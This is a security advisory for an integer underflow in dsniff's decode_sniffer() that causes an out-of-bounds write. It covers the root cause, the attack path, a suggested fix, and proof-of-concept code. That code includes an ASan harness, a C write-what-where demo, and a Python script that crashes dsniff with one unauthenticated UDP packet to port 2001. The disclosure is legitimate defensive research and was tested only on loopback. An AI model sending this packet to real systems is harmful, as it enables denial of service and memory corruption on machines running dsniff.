Skip to content
VulnSVNCAdvisories
dsniff — dsniff decode_sniffer() Integer Underflow Out-of-Bounds Write

CVE-2026-134753

dsniff decode_sniffer() Integer Underflow Out-of-Bounds Write

decode_sniffer() Integer Underflow leading to Out-of-Bounds Write (unauthenticated UDP port 2001 packet)

Technical Report

CVE-2026-134753 — dsniff decode_sniffer() Integer Underflow → Out-of-Bounds Write

CVSS: 4.0 / Base Score 8.3 (High) CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (independent cross-check recommended — see §9) CWE: CWE-191 (Integer Underflow) → CWE-787 (Out-of-bounds Write) Affected product: dsniff (hackerschoice/dsniff fork) — https://github.com/hackerschoice/dsniff Affected file/function: decode_sniffer.c → decode_sniffer() Patched version: None available at time of writing CNA: VulnCheck


1. Summary

In decode_sniffer(), an expression computing the remaining output buffer size (olen - len - 3) can evaluate to a negative value. When passed to base64_pton() as a size_t (unsigned) parameter, it wraps around into a huge positive number, completely defeating the function's internal bounds check. The result is an unbounded out-of-bounds write in which both the length and the content are fully attacker-controlled.

The vulnerability is remotely triggerable with a single UDP packet, without authentication (target port: 2001, dsniff's "sniffer" protocol). A confirmed crash (SIGSEGV) was obtained via a live network test against the actual, compiled dsniff binary.

2. Affected Component

Project dsniff (hackerschoice/dsniff fork)
Repository https://github.com/hackerschoice/dsniff
File decode_sniffer.c
Function decode_sniffer()
Trigger port/protocol UDP 2001 ("sniffer", dsniff.services)
Patch status No patched version available

3. Technical Root Cause

// decode_sniffer.c — decode_sniffer()
buf[len - 3] = '\0';
strtok(&buf[32], "\r\n");
snprintf(obuf, olen, "%s [", &buf[32]);
len = strlen(obuf);
i = base64_pton(&buf[32], &obuf[len], olen - len - 3);   /* <-- ROOT CAUSE */
obuf[len + i] = '\0';
strlcat(obuf, "]\n", olen);
  1. snprintf(obuf, olen, ...) truncates its output when the source string exceeds olen. In that case, strlen(obuf) always saturates at exactly olen - 1.
  2. Therefore, when the attacker sends a field of at least olen bytes (4096 in the real binary):
    olen - len - 3  =  olen - (olen - 1) - 3  =  -2
    
    is obtained deterministically, with no precise length calculation required.
  3. base64_pton()'s third parameter is declared size_t targsize. The implicit conversion of -2 to this type yields 0xFFFFFFFFFFFFFFFE (near SIZE_MAX on 64-bit).
  4. The function's only bounds check, if (tarindex >= targsize) return (-1);, never fires with targsize this large.
  5. The function continues decoding attacker-supplied Base64 data, writing without bound past the end of obuf.

3.1 Why this is exploitable under default settings

decode_sniffer is invoked exclusively via trigger_udp() (trigger.c), which forwards the entire UDP datagram to the decoder with no Opt_snaplen (default: 2048) restriction applied — that check exists only in the TCP stream-reassembly path (trigger_tcp_half()). A single IPv4 UDP datagram can carry up to ~65507 bytes, far exceeding the ~4095 bytes needed to trigger the underflow. No non-default configuration is required to exploit this.

4. Attack Path

Attacker UDP packet, destination port 2001
        │
        ▼
trigger_udp()                [trigger.c]
        │  port 2001 → decoder "sniffer" (decode_sniffer)
        ▼
dc_call(t->decode, buf, len, obuf, sizeof(obuf))
        │  obuf == static char obuf[4096];  (global, trigger.c)
        ▼
decode_sniffer(buf, len, obuf, olen=4096)
        │
        ▼
base64_pton(&buf[32], &obuf[len], olen-len-3)   <- unbounded write

5. Proof of Concept — Steps in Correct Order

All testing was performed in an environment fully controlled by the researcher (own workstation, loopback interface only). No third-party system or network was involved at any point.

Step 0 — Environment setup

sudo apt update
sudo apt install -y build-essential git libnids-dev libpcap-dev \
    libnet1-dev libssl-dev libtirpc-dev libnsl-dev \
    pkg-config autoconf automake libtool

Step 1 — Clone the source

git clone https://github.com/hackerschoice/dsniff.git
cd dsniff

Step 2 — Regenerate the configure script

The committed configure script was generated without pkg-config present; the PKG_CHECK_MODULES macro is left unexpanded in the script and causes a shell syntax error. This is an unrelated build-system defect, not part of this vulnerability.

autoreconf -fi

Step 3 — Build (WITHOUT static linking)

--enable-static fails to link due to the system's libibverbs static archive having unresolved libnl dependencies — an unrelated, environment-specific issue. Dynamic linking is sufficient.

./configure
make dsniff
file dsniff   # ELF 64-bit LSB executable, dynamically linked

Step 4 — Isolated static confirmation (ASan)

Confirm the bug at the tool-diagnostic level without running the real binary at all, by isolating decode_sniffer():

mkdir ../harness && cd ../harness
for f in decode.h decode_sniffer.c base64.c base64.h common.h crc32.c crc32.h options.h; do
  cp ../dsniff/$f .
done
cp ../dsniff/config.h .

cat > strl.c << 'EOF'
#include <string.h>
#include <sys/types.h>
size_t strlcpy(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz;
    if (n != 0) { while (--n != 0) { if ((*d++ = *s++) == '\0') break; } }
    if (n == 0) { if (siz != 0) *d = '\0'; while (*s++); }
    return (s - src - 1);
}
size_t strlcat(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz; size_t dlen;
    while (n-- != 0 && *d != '\0') d++;
    dlen = d - dst; n = siz - dlen;
    if (n == 0) return (dlen + strlen(s));
    while (*s != '\0') { if (n != 1) { *d++ = *s; n--; } s++; }
    *d = '\0';
    return (dlen + (s - src));
}
EOF

cat > fuzz.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);
int main(int argc, char **argv) {
    u_char inbuf[8192];
    int len = fread(inbuf, 1, sizeof(inbuf), stdin);
    u_char *buf = malloc(len);
    memcpy(buf, inbuf, len);
    int olen = atoi(argv[1]);
    u_char *obuf = malloc(olen);
    memset(obuf, 0xAA, olen);
    int r = decode_sniffer(buf, len, obuf, olen);
    fprintf(stderr, "ret=%d\n", r);
    return 0;
}
EOF

gcc -fsanitize=address,undefined -g -O0 -I. -o fuzz \
    fuzz.c decode_sniffer.c base64.c crc32.c strl.c

python3 -c "
import sys
buf = bytearray(33)
buf[0] = 5
buf[6] = 4
buf[7] = 1          # opcode = 0x0104 = 260
buf[32] = ord('A')  # buf[32] != 0 -> Base64 branch
buf += b'A' * 100   # valid Base64 alphabet characters
sys.stdout.buffer.write(bytes(buf))
" > packet.bin

ASAN_OPTIONS=detect_leaks=0 ./fuzz 20 < packet.bin

Observed result:

==xxxxx==ERROR: AddressSanitizer: heap-buffer-overflow ...
WRITE of size 1 at ... thread T0
    #0 ... in base64_pton base64.c:164
    #1 ... in decode_sniffer decode_sniffer.c

Step 5 — "Write-what-where" confirmation (realistic layout, no ASan)

// realistic.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);

static struct {
    char          obuf[4096];
    unsigned char canary[16];
    unsigned char guard[16384];
} g;

int main(void) {
    memset(g.canary, 0xCC, sizeof(g.canary));
    memset(g.guard,  0xCC, sizeof(g.guard));

    const char *alpha =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    unsigned char desired[4000];
    desired[0] = 'z';
    memcpy(&desired[1], "RCEDEMO!", 8);
    for (int i = 9; i < (int)sizeof(desired); i++) desired[i] = 'Z';

    char b64[8000]; int bi = 0;
    for (int i = 0; i + 2 < (int)sizeof(desired); i += 3) {
        unsigned v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2];
        b64[bi++] = alpha[(v >> 18) & 0x3F];
        b64[bi++] = alpha[(v >> 12) & 0x3F];
        b64[bi++] = alpha[(v >> 6) & 0x3F];
        b64[bi++] = alpha[v & 0x3F];
    }
    b64[bi] = '\0';

    int total_len = 32 + bi + 8;
    unsigned char *pkt = malloc(total_len);
    memset(pkt, 0, total_len);
    pkt[0] = 5; pkt[6] = 4; pkt[7] = 1;
    memcpy(&pkt[32], b64, bi);
    pkt[32] = 'A';

    decode_sniffer(pkt, total_len, g.obuf, sizeof(g.obuf));

    printf("canary after: ");
    for (int i = 0; i < 16; i++) printf("%02x", g.canary[i]);
    printf("\n");
    return 0;
}
gcc -g -O0 -fno-stack-protector -I. -o realistic \
    realistic.c decode_sniffer.c base64.c crc32.c strl.c
./realistic

Observed result:

canary after: 52434544454d4f215a5a5a5a5a5a5a5a

52434544454d4f21 → ASCII: "RCEDEMO!" — a value defined only in the attacker's packet, nowhere in the source code. The function returned normally (silent corruption, no crash).

Step 6 — Inspect the real binary's memory layout

cd ../dsniff
nm dsniff | grep -i obuf
nm --numeric-sort dsniff | grep -E ' [bBdD] ' | grep -A3 -B3 " obuf$"

Observed result:

00000000000310c0 b obuf
00000000000320c0 b rpc_cnt     (= obuf + 4096, no gap)
00000000000320c4 b tcp_cnt
00000000000320c8 b udp_cnt

These counters are not mere statistics — trigger.c uses them as the nmemb argument to bsearch()/qsort() on every incoming packet, over arrays of struct trigger which embed decoder function pointers:

struct trigger { int num; struct decode *decode; };

Step 7 — Live network test: confirmed crash against the real binary

Terminal 1 (victim process, loopback only):

sudo ./dsniff -i lo -v -d

Terminal 2 (attacker):

import socket

alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
desired = bytearray()
desired += b'z'
desired += b'ABCDEFGHIJKLMNOP'
desired += b'Z' * 6000

b64 = bytearray()
for i in range(0, len(desired) - 2, 3):
    v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2]
    b64.append(ord(alpha[(v >> 18) & 0x3F]))
    b64.append(ord(alpha[(v >> 12) & 0x3F]))
    b64.append(ord(alpha[(v >> 6) & 0x3F]))
    b64.append(ord(alpha[v & 0x3F]))

pkt = bytearray(33)
pkt[0] = 5
pkt[6] = 4
pkt[7] = 1
pkt[32] = ord('A')
pkt += b64

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes(pkt), ("127.0.0.1", 2001))
print(f"sent: {len(pkt)} bytes")

Observed result (Terminal 1):

Segmentation fault

A single UDP packet, no authentication required, crashed the real, compiled binary — fully reproducible.

6. Impact Assessment

  • Confirmed impact: Unauthenticated, remote, single-packet crash (DoS) — confirmed against the real binary.
  • Assessed potential: Memory adjacency between obuf and function-pointer-bearing dispatch tables (udp_triggers, etc.) was not fully confirmed; if confirmed, control-flow hijack (RCE) may be possible. This report does not claim a working RCE chain — only that the preconditions exist and that DoS is conclusively proven.
  • Since dsniff is typically run with root privileges, any confirmed RCE would execute at root level.

7. Suggested Fix

int remaining = olen - len - 3;
if (remaining < 0)
    remaining = 0;
i = base64_pton(&buf[32], &obuf[len], (size_t)remaining);
if (i < 0)
    i = 0;
obuf[len + i] = '\0';

Similar "incremental write" patterns were observed elsewhere in the codebase (decode_oracle.c, decode_tds.c); a systematic audit is recommended.

8. Secondary Observation

During live testing, decoded raw data was observed being written directly to the terminal by record.c — a separate, lower-priority terminal escape-sequence injection risk, noted here but out of scope for this report.

9. Scope and Honesty Notes

  • Established with high confidence: an out-of-bounds write exists (ASan-confirmed); the write is fully attacker-controlled (realistic write-what-where PoC); the real binary reliably crashes remotely from a single packet (live network PoC).
  • Not established: a working, end-to-end RCE exploit. Exact memory adjacency between obuf and the udp_triggers/tcp_triggers dispatch tables was not verified; no attempt was made to inject a forged struct trigger entry or hijack control flow — intentionally, as the goal is responsible risk documentation, not a weaponized exploit.
  • The CVSS v4.0 score (8.3) was provided by the CNA (VulnCheck); it has not been independently re-derived using the official FIRST CVSS v4.0 calculator by the author of this report.
  • All testing was confined to the researcher's own isolated environment (loopback interface); no third-party system or network was used.

References

Researcher: Umut SEVİNÇ (VulnSVNC)